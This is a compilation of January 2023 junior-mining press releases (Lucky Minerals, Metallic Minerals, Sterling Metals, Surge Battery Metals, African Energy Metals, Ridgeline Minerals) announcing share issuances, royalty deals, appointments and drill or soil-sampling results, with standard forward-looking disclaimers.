Media Contact:

media@suncor.com

View additional multimedia and more ESG storytelling from 3BL Alerts on 3blmedia.com.

Contact Info:

Spokesperson: 3BL Alerts

Website: https://www.3blmedia.com/profiles/3bl-alerts

Email: info@3blmedia.com

SOURCE: 3BL Alerts

View source version on accesswire.com:https://www.accesswire.com/736488/Available-To-Read-Online-Honouring-Indigenous-Voices-Through-Pathways-Magazine
VANCOUVER, BC / ACCESSWIRE / January 24, 2023 / Lucky Minerals Inc. (TSXV:LKY)(OTC PINK:LKMNF)(FRA:LKY) ("Lucky" or the "Company") announces that further to its news release dated January 16, 2023, the Company has now received conditional approval from the TSX Venture Exchange for the services agreement (the" Agreement") with Hubbard Perforaciones Ecuador Cia Ltda ("Hubbard Drilling")

The Company will issue a total of 4,252,891 common shares of the Company in respect of consulting and drilling services received pursuant to the Agreement. The common shares are issued at a deemed price per share of $0.05, for total value of CDN$212,645.

All shares issued pursuant to the Agreement are subject to a hold period of four months plus a day from the date of issuance of the shares in accordance with applicable securities legislation and the polices of the TSX Venture Exchange.

About Hubbard Drilling

With more that 25 years of achievements in the drilling industry, Hubbard Drilling has set the standard in the market of man-portable drills. With over 2500 square meters of facilities located in Ecuador, Hubbard Drilling takes pride in their safety record and minimal-impact on the environment. Hubbard Drilling maintains its strongest presence in Ecuador and ensures the highest quality of service by building long-term, productive relationships with clients, employees and communities.

About Lucky Minerals Inc.

Lucky is an exploration and development company targeting large-scale mineral systems in proven districts with the potential to host world class deposits. Lucky owns a 100% interest in the Fortuna Property.

The Company's Fortuna Project is comprised of twelve contiguous, 550 km2 (55,000 Hectares, or 136,000 Acres) exploration concessions. Fortuna is located in a highly prospective, yet underexplored, gold belt in southern Ecuador.

ON BEHALF OF THE BOARD

"Francois Perron"

Chief Executive Officer

Further information on Lucky can be found on the Company's website at www.luckyminerals.com and at www.sedar.com, or by contacting Francois Perron, President and CEO, by email at investors@luckyminerals.com or by telephone at (866) 924 6484.

Or by contacting:

Renmark Financial Communications Inc.

Kerry Schacter: kschacter@renmarkfinancial.com

Tel: (416) 644-2020 or (514) 939-3989

www.renmarkfinancial.com

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Statement Regarding Adjacent Properties and Forward-Looking Information

This news release contains forward-looking statements relating to the future operations of the Company and other statements that are not historical facts. Forward-looking statements are often identified by terms such as "will", "may", "should", "anticipate", "expects" and similar expressions. All statements other than statements of historical fact, included in this release, including, without limitation, statements regarding the future plans and objectives of the Company are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Such factors include, but are not limited to: uncertainties related to exploration and development; the ability to raise sufficient capital to fund exploration and development; changes in economic conditions or financial markets; increases in input costs; litigation, legislative, environmental and other judicial, regulatory, political and competitive developments; technological or operational difficulties or inability to obtain permits encountered in connection with exploration activities; and labor relations matters. This list is not exhaustive of the factors that may affect the Company's forward-looking information. Important factors that could cause actual results to differ materially from the Company's expectations also include risks detailed from time to time in the filings made by the Company with securities regulators.

The reader is cautioned that assumptions used in the preparation of any forward-looking information may prove to be incorrect. Events or circumstances may cause actual results to differ materially from those predicted, as a result of numerous known and unknown risks, uncertainties, and other factors, many of which are beyond the control of the Company. The reader is cautioned not to place undue reliance on any forward-looking information. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. Forward-looking statements contained in this news release are expressly qualified by this cautionary statement. The forward-looking statements contained in this news release are made as of the date of this news release and the Company will not update or revise publicly any of the included forward-looking statements unless required by Canadian securities law.

SOURCE: Lucky Minerals Inc.

View source version on accesswire.com:https://www.accesswire.com/736449/Lucky-Minerals-Inc-Announces-Issuance-of-Shares-for-Drilling-Services
VANCOUVER, BC / ACCESSWIRE / January 24, 2023 / Metallic Minerals Corp. (TSXV:MMG)(OTCQB:MMNGF) ("Metallic Minerals" or the "Company") is pleased to announce signing a production royalty agreement on 5  miles of alluvial gold claims at its Australia Creek property in the Klondike Gold District of Canada's Yukon Territory, with Little Flake mining, a company owned and operated by Parker Schnabel of Discovery Channel's top-rated television series, "Gold Rush".

Under the terms of the agreement, Little Flake will be granted exclusive rights to extract gold from the Australia Creek property, with Metallic Minerals receiving a percentage of the production as a royalty. This partnership will combine Metallic Minerals' expertise in mineral exploration and Little Flake's experience in gold mining to maximize production and profitability for both groups in the region. Mr. Schnabel is recognized as a highly experienced miner and, in December 2022, was awarded the Robert E. Leckie Award for Excellence in Environmental Stewardship by the Yukon Government for reclamation work in the Klondike goldfields.

"We are excited to be working with Parker and the highly experienced Little Flake mining team and believe this partnership will be lucrative for both our companies, given Little Flakes track record of impressive alluvial gold production," said Greg Johnson, Metallic Minerals Chairman & CEO. "Our recent gold discoveries at Australia Creek represent a major extension of the Klondike to the east and is one of the biggest new discoveries in this historic district in decades. Metallic Minerals is one of the largest owners of alluvial gold mining claims in the Yukon Territory, including this large block of unmined claims in the Klondike. Starting with exceptional operators like Little Flake, we anticipate the potential for the generation of significant production royalties, which will provide funding toward our hard rock silver and copper exploration projects in Yukon and Colorado. An important criterion for our evaluation of potential additional alluvial operators will be demonstrated operational excellence and environmental stewardship that aligns with Metallic Minerals focus on ESG values."

Parker Schnabel, owner and operator of Little Flake Mining, commented, "Our award-winning team looks forward to working with Metallic Minerals and we plan to hit the ground running on Australia Creek. Planning is underway for a 400-hole drill program this winter on the property and we anticipate beginning mining operations this spring. This under-explored part of the Klondike shows vast potential for new discoveries, and we believe our collaboration with the veteran exploration team at Metallic will unlock this potential for both our groups."

The agreement is effective immediately with production targeted to begin by June. The companies will be working together closely to ensure a rapid and successful start-up for the partnership.

Under the terms of the Australia Creek property agreement, Little Flake must complete a $1 million minimum annual work commitment and pay Metallic Minerals an annual advance royalty plus a variable royalty on all gold production.

About Australia Creek

Metallic Minerals holds a 100% interest in 36.4 square kilometres of mining rights along the Australia Creek drainage south of Dawson City, Yukon. Australia Creek is part of the historic Klondike gold district that is estimated to have produced over 20 million ounces of gold since its discovery in 1898. Australia Creek and its benches are now recognized by Yukon Geological Survey as the eastern continuation of the highly productive Klondike Goldfields, which is the largest placer gold producing area in the Yukon. Modern, open-pit operations in the Klondike have doubled production in the region over the past decade1.

Despite extensive mining activity nearby, Australia Creek itself was not historically mined due to its importance as a source of water and hydro-electric power for the floating dredge operations that were conducted in the area between the 1920s and 1960s. However, exploration drilling at Australia Creek has returned gold-in-gravel values that compare to some of the best producing areas of the Klondike presenting an exciting opportunity for the Company.

Figure 1: Klondike Gold District and Metallic Minerals' Properties

2023 AMEBC Mineral Roundup Core Shack

Metallic Minerals is very pleased to announce that we have been invited to participate in this year's AMEBC Mineral Roundup conference in Vancouver and will be displaying intervals of drill core from the Keno Silver project and our La Plata project on Wednesday, January 25th and Thursday, the 26th. Key members of our management and technical teams will be on hand to discuss the project and opportunity. Visit us at booth #1016 in the Core Shack. For more information and to register, visit here.

Vancouver Resource Investment Conference - Presentation

Metallic Minerals President, Scott Petsel, will be providing a corporate update and participating in a moderated roundtable discussion during the upcoming Vancouver Resource Investment Conference on Sunday, January 29th at 3:30 PM in the Yukon Pavilion. For more information, visit here.

About Little Flake Mining

Little Flake is a mining company founded and owned by Parker Schnabel of the hit Discovery Channel television series Gold Rush. Now in its thirteenth season, Gold Rush is Discovery Channel's number one rated and most watched television series. Little Flake specializes in placer gold mining and operates in the Klondike region of Canada and in Alaska. Mr. Schnabel comes from a multi-generational mining family and under Schnabel's entrepreneurial leadership, Little Flake has become one of the largest and most successful operators in the Yukon's placer gold mining industry.

About Metallic Minerals

Metallic Minerals Corp. is a leading exploration and development stage company, focused on silver and gold in the high-grade Keno Hill and Klondike districts of the Yukon, and copper, silver and critical minerals in the La Plata mining district in Colorado. Our objective is to create shareholder value through a systematic, entrepreneurial approach to making exploration discoveries, growing resources and advancing projects toward development. Metallic Minerals has consolidated the second-largest land position in the historic Keno Hill silver district of Canada's Yukon Territory, directly adjacent to Hecla Mining's operations, with more than 300 million ounces of high-grade silver in past production and current M&I resources. Hecla Mining Company, the largest primary silver producer in the USA and third largest in the world, completed the acquisition of Alexco in September 2022. In April 2022, Metallic Minerals announced the inaugural NI 43-101 mineral resource estimate for its La Plata silver-gold-copper project in southwestern Colorado. The Company is also one of the largest holders of alluvial gold claims in the Yukon and is building a production royalty business by partnering with experienced mining operators. All of the districts in which Metallic Minerals operates have seen significant mineral production and have existing infrastructure, including power and road access. Metallic Minerals is led by a team with a track record of discovery and exploration success on several major precious and base metal deposits in the region, as well as having large-scale development, permitting and project financing expertise. The Metallic Minerals team has been recognized for its environmental stewardship practices and is committed to responsible and sustainable resource development.

FOR FURTHER INFORMATION, PLEASE CONTACT:

Website: www.mmgsilver.com Phone: 604-629-7800

Email: cackerman@mmgsilver.com Toll Free: 1-888-570-4420

1Yukon Geological Survey ("YGS") Yukon Placer Mining Industry Report 2010-2014

Forward-Looking Statements

This news release includes certain statements that may be deemed "forward-looking statements". All statements in this release, other than statements of historical facts including, without limitation, statements regarding potential mineralization, historic production, estimation of mineral resources, the realization of mineral resource estimates, interpretation of prior exploration and potential exploration results, the timing and success of exploration activities generally, the timing and results of future resource estimates, permitting time lines, metal prices and currency exchange rates, availability of capital, government regulation of exploration operations, environmental risks, reclamation, title, statements about expected results of operations, cash flows, financial position and future dividends as well as financial position, prospects, and future plans and objectives of the Company are forward-looking statements that involve various risks and uncertainties. Although Metallic Minerals believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results or developments may differ materially from those in the forward-looking statements. Forward-looking statements are based on a number of material factors and assumptions. Factors that could cause actual results to differ materially from those in forward-looking statements include failure to obtain necessary approvals, unsuccessful exploration results, unsuccessrul operations, changes in project parameters as plans continue to be refined, results of future resource estimates, future metal prices, availability of capital and financing on acceptable terms, general economic, market or business conditions, risks associated with regulatory changes, defects in title, availability of personnel, materials and equipment on a timely basis, accidents or equipment breakdowns, uninsured risks, delays in receiving government approvals, unanticipated environmental impacts on operations and costs to remedy same and other exploration or other risks detailed herein and from time to time in the filings made by the Company with securities regulators. Readers are cautioned that mineral resources that are not mineral reserves do not have demonstrated economic viability. Mineral exploration, development of mines and mining operations is an inherently risky business. Accordingly, the actual events may differ materially from those projected in the forward-looking statements. For more information on Metallic Minerals and the risks and challenges of their businesses, investors should review their annual filings that are available at www.sedar.com.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

SOURCE: Metallic Minerals Corp.

View source version on accesswire.com:https://www.accesswire.com/736439/Metallic-Minerals-Announces-Gold-Production-Royalty-Agreement-with-Parker-Schnabel-and-Little-Flake-Mining-of-Discovery-Channels-Gold-Rush-Television-Series
TORONTO, ON / ACCESSWIRE / January 24, 2023 / Sterling Metals Corp. (TSXV:SAG)(OTCQB:SAGGF) ("Sterling Metals" or the "Company") is pleased to announce the appointment of Dr. Neil O'Brien, PhD, and Dr. Stephen J. Piercey, PhD, P.Geo., FGC, to its technical advisory board. Sterling Metals has also promoted Mr. Jeremy Niemi to Senior Vice President, Exploration and Evaluation. The appointments come at a critical time in the Company's growth with the recent expansion of the mineral footprint at Sail Pond and a concentrated effort to unlock the geological potential property wide.

"We are thrilled to welcome Dr. O'Brien and Dr. Piercey at a pivotal time in our growth," said Mathew Wilson, President, and Chief Executive Officer of Sterling Metals. " Dr. O'Brien's vast expertise as a senior executive at Lundin Mining and Dr. Piercey's deep exploration experience on the origin of mineral deposits, will be invaluable to us as we work to better understand the Sail Pond Project's geological potential as a brand-new discovery in Newfoundland."

Mr. Wilson continued, "Additionally, we are excited to have Mr. Niemi move into the role of Senior Vice President, Exploration and Evaluation. Jeremy has been an integral part of the exploration team this past year. He has a terrific track record across deposit and metal types, advancing projects from their initial discovery through to advanced stage resources. He will continue to lead the exploration strategy and build on the recent successes at Sail Pond."

Dr. Neil O'Brien is a consulting economic geologist and former mining executive with a PhD from Queen's University in Geological Sciences and over three decades of industry service with expertise in base metal and polymetallic mineral systems, including silver-rich polymetallic deposits. Dr. O'Brien has international experience on six continents in all stages of mineral exploration and development of economic mineral resource projects, mining project evaluation and strategic corporate development activities. He retired in 2018 from Lundin Mining Corporation as Senior Vice President, Exploration and New Business Development, the longest serving member of an executive team that successfully built a significant international base metal mining and mineral resource development company. Dr. O'Brien is currently President of MOAR Consulting Inc. and has experience as a director of several private and publicly traded companies, including NGEx Minerals, a Lundin Group company.

Dr. Stephen J. Piercey is an award-winning geologist with over 25 years of experience in academia and in the field. He is currently the President Elect of the Society of Economic Geologists, and a Professional Geoscientist (P.Geo.) in Newfoundland and Labrador and Ontario. He was awarded Fellow of Geoscientists Canada for his contributions to the geoscience profession in Canada and previously won the Lindgren Medal (SEG), W.H. Gross Medal (GAC), Howard Street Robinson Medal (MDD-GAC), and Hutchison Medal (GAC). Dr. Piercey holds BSc (Hons) and MSc degrees from Memorial University of Newfoundland, Canada and a PhD from the University of British Columbia, Canada. His experience includes Assistant and Associate Professor in the Department of Earth Sciences and Mineral Exploration Research Centre at Laurentia/n University, NSERC-Altius Industrial Research Chair in Mineral Deposits at Memorial University, and full-time consulting geologist and the Principal of SJPGeoConsulting. Dr. Piercey continues to consult to the mineral industry on a part-time basis and currently holds the rank of University Research Professor at Memorial University. His research, teaching, and consulting interests involve integrated field- and laboratory-based studies focused on the origin and exploration for mineral deposits, and their relationships to the tectonic and magmatic evolution of mountain belts. He has undertaken research and consulting in most provinces and territories in Canada, in numerous countries internationally, and on the modern seafloor.

The Company is also pleased to announce that it has engaged Momentum IR Corp. ("Momentum") a Toronto based investor relations and corporate communications firm, to provide investor relations and advisory services. The initial term of the engagement agreement is for 12 months with a monthly retainer of $8,500 per month. There are no performance factors contained in the agreement.

In connection with the appointments and the consultancy engagement, Sterling Metals granted an aggregate of 2,000,000 options to purchase common shares of the Company exercisable at a price of $0.21 per common share for a period of two (2) years to directors, officers and consultants of the Company. The common shares issuable upon exercise of the options are subject to a four month hold period from the original date of grant.

About Sterling Metals

Sterling Metals (TSXV: SAG) is a mineral exploration company focused on Canadian exploration opportunities. The company is currently exploring for silver and base metals at the Sail Pond project in Northwestern Newfoundland. Sterling owns 100% of the 13,500 Ha Sail Pond Project.

For more information, please contact:

Sterling Metals Corp.

Mathew Wilson, President and CEO

(416) 643-3887

info@sterlingmetals.ca

www.sterlingmetals.ca

Cautionary Statement Regarding "Forward-Looking" Information

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

This news release contains certain "forward-looking information" within the meaning of applicable securities laws. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "would", "potential", "proposed" and other similar words, or statements that certain events or conditions "may" or "will" occur. These statements are only predictions. Forward-looking information is based on the opinions and estimates of management at the date the information is provided, and is subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking information. For a description of the risks and uncertainties facing the Company and its business and affairs, readers should refer to the Company's Management's Discussion and Analysis. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change, unless required by law. The reader is cautioned not to place undue reliance on forward-looking information.

SOURCE: Sterling Metals Corp.

View source version on accesswire.com:https://www.accesswire.com/736458/Sterling-Metals-Strengthens-Team-with-Key-Appointments
COQUITLAM, BC / ACCESSWIRE / January 24, 2023 / Surge Battery Metals Inc. (the "Company" or "Surge") (TSXV:NILI)(OTC PINK:NILIF)(FRA:DJ5C) is pleased to report that the Company has received positive geochemical results from a 50-site sampling program in the southeastern part of the property. Of the 50 samples, 13 returned lithium values of 500 ppm or greater and five were 1,000 ppm or greater. These samples confirm the presence of the favorable lithium bearing claystone some 1,900 meters southeast of the southernmost drill hole, NN2208. In the full dataset, 257 sites returned lithium values of 500 ppm or more with 129 sites show 1,000 ppm Li or more. See Figure 1 which shows the location and values for all soil samples taken within the current claim block.

Samples were collected by personal from Rangefront Exploration of Elko, Nevada during claim staking in the area. Samples were stored in locked vehicles until they were delivered to the Rangefront office. Samples were transported from Elko to the ALS Global laboratory in Reno, Nevada by the Surge project geologist / QP. Samples were dried and sieved to -.177 mm (-80 mesh) and analyzed using aqua regia digestion followed by optical emission spectrometry (ALS MEICP41) with a detection level of 10 ppm.

Recently announced drill results (see News Release dated Jan 3, 2023) have demonstrated the potential for a significant lithium discovery at the Nevada North Lithium Project located in Elko County about 73 Km north-northeast of Wells, Nevada.

The maiden drilling program, consisting of eight widely spaced drill holes, has identified strong lithium values (up to 5950 ppm) associated with a series of stacked blue-green clay layers up to 120.4 meter or 395 feet thick. To date mineralization, as evidenced by drilling, has a strike length of approximately 1,620 meters or 5,315 feet. Width of the mineralization is not as well determined since the holes are mostly on a north-south alignment because of topography and access but is at least 400 meters and soil anomalies indicate it is likely much more. The mineralization appears to be open to further expansion given the dimensions of a widespread lithium soil anomaly shown on the accompanying map.

Mr. Greg Reimer, Company President & CEO states: "We continue to build upon the evidence that we have identified significant potential for a high-grade, world-class lithium deposit as these samples further indicate lithium-bearing clay extending 1900 meters southeast of our southernmost hole, NN2208.

We are incorporating this new data into our analysis and look forward to announcing details of our next drill program to follow up and expand on our successful 2022 maiden program."

Qualified Person as Defined Under National Instrument 43-101: Alan J. Morris of Spring Creek, Nevada, a Qualified Person as defined under National Instrument 43-101, has reviewed, and approved the technical aspects of this news release.

About Surge Battery Metals Inc. surgebatterymetals.com

The Company is a Canadian-based mineral exploration company active in the exploration for lithium in Nevada and for nickel-iron alloy in British Columbia and whose primary listing is on the TSX Venture Exchange. The Company's maintains a focus on exploration for high value battery metals required for the electric vehicle (EV) market.

Nevada Lithium Projects

The Company owns a 100% interest in 243 mineral claims located in Elko County, Nevada. The Nevada North Lithium Project is in the Granite Range southeast of Jackpot, Nevada, about 73 km north-northeast of Wells, Nevada. The target is a lithium clay deposit in volcanic tuff and tuffaceous sediments of the Jarbidge Rhyolite package.

In addition, the Company has a Property Option Agreement to earn an undivided 80% interest in 16 mineral claims, comprising 640 acres located within Nevada's San Emidio Desert, known as the Galt Property. Recent mineral exploration on the Galt claim group includes 51 playa sediment samples collected for chemical analysis at ALS Geochemistry in Vancouver, B.C. Results of aqua regia leaching of the samples show 68 to 852 parts per million lithium (mean 365 ppm), 5.3 to 201 ppm cesium (mean 72 ppm) and 35 to 377 ppm rubidium (mean 180 ppm). Results from two seven-foot-deep auger holes show lithium, cesium, and rubidium concentrations in the range of 143.5 to 773 ppm Li, 56.8 to 102.5 ppm Cs and 155 to 272 Rb.

Finally, the Company owns a 100% interest in 663 ha (1,640 acre) property in the Teels Marsh Project located in Mineral County, Nevada. The property is in an active region for both lithium exploration and production.

Nickel Projects, Northern BC

The Company has a Property Option Agreement to earn an undivided 80% interest in certain mineral claims from Nickel Rock Resources Inc. The Project (The Surge Nickel Project) consists of two non-contiguous mineral claims groups consisting of six mineral claim blocks located in northern British Columbia. One claim in the Mount Sidney Williams area (claim HN4), covers 1863 hectares immediately south of and adjacent to the Decar Project, currently being advanced by FPX Resources, and 5 claims in the Mitchell Range area, northeast of Decar, (N100 Group) covering 8659 hectares. Three of the claims are subject to 2% NSR, including the (HN4 claim and the two southernmost claims of the N100 claim group). Both projects target the nickel-iron alloy mineral "Awaruite", hosted by serpentinized intrusive rocks of the Trembleur Ultramafic Unit.

On Behalf of the Board of Directors

"Greg Reimer"

Greg Reimer, President & CEO

Contact Information

Email: info@surgebatterymetals.com

Phone: 778-845-2656

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release may contain forward-looking statements which include, but are not limited to, comments that involve future events and conditions, which are subject to various risks and uncertainties. Except for statements of historical facts, comments that address resource potential, upcoming work programs, geological interpretations, receipt and security of mineral property titles, availability of funds, and others are forward-looking. Forward-looking statements are not guaranteeing future performance and actual results may vary materially from those statements. General business conditions are factors that could cause actual results to vary materially from forward-looking statements.

Figure 1: Soil Sample Results - Lithium

SOURCE: Surge Battery Metals Inc.

View source version on accesswire.com:https://www.accesswire.com/736411/Surge-Battery-Metals-Expands-Lithium-in-Soil-Anomaly-at-the-Nevada-North-Lithium-Project
Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - African Energy Metals Inc. (TSXV: CUCO) (FSE: BC2) (OTCQB: NDENF) (WKN: A3DEJG) ("African Energy Metals" or the "Company") is pleased to announce the Company has appointed Mr. Guy Hebert, a senior mining executive with extensive experience in uranium and polymetallic deposits to our Technical Advisory Board.

Mr. Guy Hebert has been active in the mining industry for the last 49 years and was the architect of over $400 million in financing for either uranium, gold, and base metal mining projects in Canada and internationally. He has brought three mines into production since 1980. Mr. Hebert was President and CEO of Strateco Resources Inc. where he developed the high-grade uranium Matoush project in Quebec between 2000 and 2020. Mr. Hebert was President and CEO of Lyon Lake Mines Ltd. from 1986 to 2001 and brought the Beta Vargas mine, a 1,000 tons per day open pit gold mine in Costa Rica, into production. He was President and CEO of Audrey Resources Inc. from 1985 to 1992 and started up the Bouchard-Hebert mine, a 2,500 tons per day open pit and underground polymetallic mine (Zn, Cu, Au, Ag) in Quebec that was taken over by Cambior in 1992. As President of Aiguebelle Resources Inc. from 1980 to 1985, Mr. Hebert brought the 1,500 tons per day Yvan Vezina gold mine in Quebec into production between 1980 and 1985 which was taken over by Cambior. Mr. Hebert holds a Bachelor of Sciences degree with a speciality in Geology from the University of Montreal (1973) and a Master of Business Administration from Sherbrooke University (1977).

Mr. Stephen Barley, Executive Chairman commented: "We are thrilled to have Mr. Hebert join our advisory team. Guy has senior experience in funding, exploring, and developing uranium and polymetallic projects such as our recently announced Falea uranium, copper, silver project in Mali, West Africa. Mr. Hebert's guidance will be of tremendous value to the management team and board of directors."

About African Energy Metals

African Energy Metals is a natural resource company with a focus on the acquisition, exploration, development, and operation of uranium, copper, cobalt, and lithium energy metals projects in Africa. African Energy Metals has the intention of acquiring interests in additional concessions or relinquishing concessions in the normal course of business. African Energy Metals has an experienced management team located in Africa.

For further information, please contact:

Stephen Barley, Executive Chairman

Phone: +1-604-428-7050

Email: info@africanenergymetals.com

Website: www.africanenergymetals.com

Reader Advisory

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

This news release may contain "forward-looking information" within the meaning of applicable securities laws. Although the Company believes, considering the experience of its officers and directors, current conditions and expected future developments and other factors that have been considered appropriate, that the expectations reflected in this forward-looking information are reasonable, undue reliance should not be placed on them as the Company can give no assurance that they will prove to be correct. The statements in this press release are made as of the date of this release. The Company undertakes no obligation to comment on analyses, expectations or statements made by third parties in respect of the Company its securities, or its financial or operating results.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152237
To view a summary of today's press release by Ridgeline CEO Chad Peters, click HERE

Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - Ridgeline Minerals Corp. (TSXV: RDG) (OTCQB: RDGMF) (FSE: 0GC0) ("Ridgeline" or the "Company") is pleased to announce high-grade grade silver ("Ag") - lead ("Pb") - zinc ("Zn") - gold ("Au") intercepts with localized tungsten ("W") mineralization from the Chinchilla Zone at the Selena ("Selena") project, Nevada (Figure 1).

Highlight intercepts from two diamond core holes at the Chinchilla Zone include high-grade zones of 6.1 meters ("m") grading 480 grams per tonne ("g/t") Ag, 12.0% Pb, and 6.4% Zn, 0.1 g/t Au in SE22-045 and 0.5m grading 1,793 g/t Ag and 2.2% W in SE22-039 (Figure 2 & Table 1). Both intercepts are hosted within 30-50 m wide zones of strongly oxidized carbonate replacement ("CRD") style alteration and mineralization. A total of 7 core holes were completed during the fall 2022 drill program with assays pending on the remaining 5 holes, which are located at the Juniper and Broken Egg targets.

Mike Harp, Ridgeline's Vice President, Exploration commented, "Hole 45 represents the single best drill intercept in the project's history and highlights the need for an aggressive infill program in 2023 to upgrade the Chinchilla Zone to a maiden resource. Drilling to-date suggests the potential to define both open-pit and underground mining scenarios at Chinchilla, with significant upside remaining along strike and within un-tested and highly prospective carbonate host rocks at depth."

Highlight Drill Intercepts

SE22-045: 32.5 m grading 153.42 g/t Ag, 2.51% Pb, 1.60% Zn, 0.09 g/t Au, starting at 235 m true vertical depth ("TVD") (Figure 1 & Figure 2);

Including 6.1 m grading 480.52 g/t Ag, 12.0% Pb, and 6.39% Zn, 0.14 g/t Au in SE22-045; Including 0.7 m grading 1,347.73 g/t Ag, 28.89% Pb and 12.02% Zn, 0.11 g/t Au.

32.5 m grading 153.42 g/t Ag, 2.51% Pb, 1.60% Zn, 0.09 g/t Au, starting at 235 m true vertical depth ("TVD") (Figure 1 & Figure 2);

SE22-039: 15.9 m grading 83.5 g/t Ag, 0.10% Pb, 0.14% Zn, 0.02 g/t Au, (No significant values of W) in SE22-039 starting at 230 m TVD; Including 0.5 m grading 1,793 g/t Ag, 2.2% W, 0.08% Pb and 0.15% Zn, 0.09 g/t Au, (Figure 2 & Figure 3).

TVD;

Summary of Drill Results

Drillhole SE22-045

SE22-045 returned the single best Ag-Au-Pb-Zn CRD drill intercept in the project's history ( see core photo of high-grade zone HERE ); And if calculated on a silver equivalent ("AgEq") basis, the highlight intercept returned 6.1 m grading 1,137.20 g/t AgEq (metal prices $20 Ag, $0.90 Pb, $1.25 Zn, $1800 Au, no recovery factory applied).

); The core hole twinned and confirmed CRD mineralization originally intercepted in reverse circulation ("RC") drill hole SE21-025 (see June 15, 2021 press release HERE).

Geometry of the zone and its proximity to the "feeder" fault intersected in SE22-039 suggests holes SE22-045 and SE21-025 intersected a high-grade "chimney" horizon that remains open along strike and dip.

Drillhole SE22-039

High-grade silver-tungsten mineralization in SE22-039 is hosted within a quartz-feldspar porphyry ("QFP") infilled fault zone and is the first instance of tungsten at Selena with additional infill drilling required to define the potential of this new mineralized zone. Porphyry hosted tungsten further supports the interpretation that Freeport-McMoRan's adjacent Butte Valley porphyry system is the source to CRD mineralization in the district.

Stringer to semi-massive sulfide mineralization from 231.7 - 235.1 m (Table 1 & Photo #2) is encouraging and suggests infill drilling may define additional zones of sulfide mineralization.

2023 Exploration Plans

The permitting of a Bureau of Land Management administered Plan of Operations ("PoO") is ongoing with an anticipated approval in Q2, 2023. The PoO will allow for two hundred (200) acres of proposed disturbance across the Chinchilla, Juniper and CRD targets and enable the Company to begin delineating a maiden resource at the Chinchilla zone as well as conduct exploration drilling from more favourable drill pad locations at the Juniper and CRD targets. Ridgeline's technical team is in the process of remodeling the Chinchilla deposit to better reflect the "chimney" and "manto" style geometries observed in drilling to-date. Exploration at the Broken Egg and Revival targets are operated under separate five (5) acre Notice of Intent permits with minor revisions required in 2023 to continue advancing each target.





Figure 1: Plan view map showing reported intercepts from SE22-039 and SE22-045 at the Chinchilla zone. Assays pending from the remaining 2022 drill holes at the Juniper and Broken Egg targets.

To view an enhanced version of Figure 1, please visit:

https://images.newsfilecorp.com/files/7298/152248_2557f809d466d973_002full.jpg

Table 1: Table of significant drill intercepts from the two core holes drilled at Chinchilla in Q4, 2022. Note: The SE22-039 intercept from 277.3-277.8m also included 2.2% Tungsten (not included in Table 1).

Chinchilla Zone - Q4 2022 Drill Program Drill hole Az/Dip From

(m) To

(m) Interval

(m) Ag (g/t) Pb (%) Zn (%) Au (g/t) TVD

(m)* Redox

State SE22-045 007/-70 246.3 278.8 32.5 153.42 2.51 1.60 0.09 235 Oxide Including 252.4 258.5 6.1 480.52 12.00 6.39 0.14 Including 253.9 254.6 0.7 1,347.73 28.89 12.02 0.11 and 270.6 273.3 2.7 452.96 1.42 0.54 0.15 SE22-039 015/-70 231.7 235.1 3.4 83.90 1.45 1.92 0.02 224 Sulfide 240.9 244.5 3.6 57.97 0.53 0.43 0.06 230 Oxide 263.6 279.5 15.9 83.51 0.10 0.14 0.02 Including 277.3 277.8 0.5 1,739.00 0.08 0.16 0.09 *TVD - True Vertical Depth to the top of the drilled intercept. (To the extents known, true widths estimated at 70-90% of drilled intercept)

For a complete table of all Chinchilla Zone assay results click HERE





Figure 2: X-Section B-B' highlighting SE22-039 and SE22-045 drill intercepts with geometry of high-grade structurally controlled "chimney" and stratabound "manto" horizons shown with grade contours.

To view an enhanced version of Figure 2, please visit:

https://images.newsfilecorp.com/files/7298/152248_2557f809d466d973_003full.jpg





Figure 3: Long-Section A-A' highlighting intercepts in SE22-039 and SE22-045 which have confirmed and upgraded grades returned in previous RC drill intercepts in SE21-025.

To view an enhanced version of Figure 3, please visit:

https://images.newsfilecorp.com/files/7298/152248_2557f809d466d973_004full.jpg

To view property-wide Chinchilla long-section A-A', click HERE.

Selena Project

Selena is located in White Pine County, Nevada, approximately 64 kilometers ("km") north of the town of Ely, NV. The project shares a property boundary with the Butte Valley project, a US $33M earn-in agreement between Freeport-McMoRan and Falcon Butte Minerals. The 100% owned project is comprised of 39 square kms of highly prospective exploration ground including Ridgeline's shallow-oxide 2020 Ag-Au-Pb-Zn Chinchilla discovery. Subsequent drilling has continued to highlight the potential for high-grade CRD type mineralization (Ag-Au-Pb-Zn Cu) between Chinchilla and the Butte Valley Cu-Au-Ag porphyry located directly west of the property. (View the Selena VRIFY Deck Here)

QAQC Procedures

